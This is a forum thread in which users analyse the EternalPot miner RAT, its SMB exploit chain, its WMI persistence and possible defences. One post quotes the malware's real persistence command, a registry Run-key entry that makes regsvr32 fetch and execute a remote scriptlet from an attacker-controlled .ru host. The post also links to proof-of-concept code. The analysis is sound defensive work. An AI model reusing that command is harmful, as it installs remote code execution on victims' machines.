That's my opinion. EternalPot is a Bitcoin miner RAT that just "keeps on giving." Once it invades a network, it is almost impossible to get rid of. At least with WannaCry, you can restore your files from a backup and "you're good to go." Also EternalPot intentional blocks incoming port 445 by modifying Win firewall rules so no other malware can enter that way. Below are screen shots from a server on an infected network. EternalPot uses WMI for persistence. Do note the name of the consumer event the malware created; talk about a statement ........ Also, the Eset alert on the malicious consumer event needs a bit of explanation. It detected the malicious script when it was opened in Autoruns. It did not detect it during execution by WMI.
Man this is deep. It's got me digging through to match that result (not because of any local concern), but this sort of find is gold in combing through yet another section of this octopus we call Windows. Big thanks for the post itman. Really intriguing.
Do you have a link, when i search i find---> EternalRocks: This new computer malware might be worse than ‘WannaCry’
I believe you are looking for a detailed analysis link? Here's one: https://doublepulsar.com/eternalpot...-exploit-honeypot-infrastructure-3f2a0b064ffe Note that the secondary exploit being deployed is Casey Smith's "squiblydoo" exploit detailed here: https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302 . What is most objectionable is this POC exploit was detailed last year and MS still has not done anything about a mitigation. This exploit can be stopped initially by monitoring cmd.exe execution of regsvr32.exe - see below edit. If the exploit is installed, the communication to the C&C server/s can be blocked by creating a firewall rule to block inbound/outbound traffic from regsvr32.exe in System32 and SysWOW64 directories. -EDIT- Actually in the EternalPot exploit, the regsvr32.exe startup is done at boot time via Run registry key. However, monitoring of cmd.exe would alert you that a registry modification is being attempted - maybe: c:\windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http://js.5b6b7b.ru:280/v.sct scrobj.dll" /f Alternatively, use of a HIPS, anti-exec, etc. to monitor modification of registry startup keys would might work as long a related cmd.exe activity was not allowed by default. Detection by above means is doubtful since a kernel level exploit is being employed. That leaves the firewall mitigation as the only means to detect any abnormal activity. And I would not be relying on the Win firewall since EternalPot has already modified its existing rules in the registry to block any inbound port 445 traffic by anyone other than itself. -EDIT 2 - Forgot to mention that Emsisoft will detect the "squiblydoo" exploit as noted in the doublepulsar.com posted link. -EDIT 3 - The is also a Python ver. of Casey Smith's "squiblydoo" exploit here: https://github.com/Hood3dRob1n/JSRat-Py/blob/master/JSRat.py
I wasn't sure because there are 2 different names (Eternal pot & Eternal rocks) & didn't know if they are the same, much appreciated.
I guess I should fill in a few "missing blanks about this attack. The infected source admitted he didn't apply the SMBv1 patches till after the fact. Although he never stated this, I believe he is running unsupported Win 2003 servers. Next to install WMI events and to run Casey Smith's exploit, admin privileges are required. So this attack proceeded as follows: 1. ExternalBlue ran to exploit the kernel. 2. DoublePulsar ran to inject lsass.exe to gain credentials and admin privileges. 3. Casey Smith's exploit ran to establish permanent C&C communication with attacker bitcoin miner servers. 4. WMI event created for persistence. 4. Previously created ExternalBlue backdoor was closed to prevent any other attackers using it.
Someone on the Russian speaking Eset forum has come up with a novel approach to "rooting out" malicious WMI Consumer Events. I don't know Russian so have no idea what the forum feedback comments are. Based on the below code, appears he has created a "watcher" Consumer Event that is looking for any suspect activity from any existing Consumer Event.
Thanks itman. Now I have to back track myself because I remember running across something similar using power shell I think but don't recall. I do load such informative useful info to bookmarks so unless this can be deciphered or explained better there's a bunch of bookmarks needing looking at again to get that exact page. Definitely novel and useful ideal EDIT: I don't know how this stacks up in comparison but this is the bookmark. https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html
The FireEye tool is for monitoring only. It will create entries in the event log for forensic analysis. My take is the Russian consumer event is trying to stop the execution of any consumer event that meet any of its monitoring conditions.
Sounds like a good plan to me. Is there any way we can get our sticky hands on it? And do we know that it works 100%.
itman, could you please fix the er-what smiley in that quote in reply # 8. Use the PLAIN tags. Thanks.
You have all the info need to create the consumer event. Note: I have to check out something. The only scripting option I though was supported in Consumer events was wscript. The script creator is specifying jscript.
BTW - I should have mentioned this earlier. Monitoring wscript.exe execution is ineffective against WMI Consumer Event based malicious scripts since WMI uses its own script engine. So Win 10 AMSI scanning is N/A.
So did you ever have a chance to revisit that Russian Forum where someone invented a "novel way" of interrupting potential new Consumer Events in the WMI Utility where that method if successful could better help on this type of drop?
Here's the link:https://forum.esetnod32.ru/forum6/topic14074/?PAGEN_1=2 . If you can read Russian or want to use Google translate on each posting, "let in rip." No postings on the topic since 6/13.
Don't know if it would actually block any Consumer Event from running. Most "watcher" Events are designed to monitor and log any Consumer Event activity. Also Consumer Events are the not the only events that can be used malicious. Command Events that use cmd.exe can also be deployed by malware.
Too bad that any new additions like that for WMI couldn't be made to issue an alert or even prevent additions at all unless user/admin allowed. In other words the bad guys could try to set it but some WMI utility monitor would immediately suspend the addition until studied-looked over first.
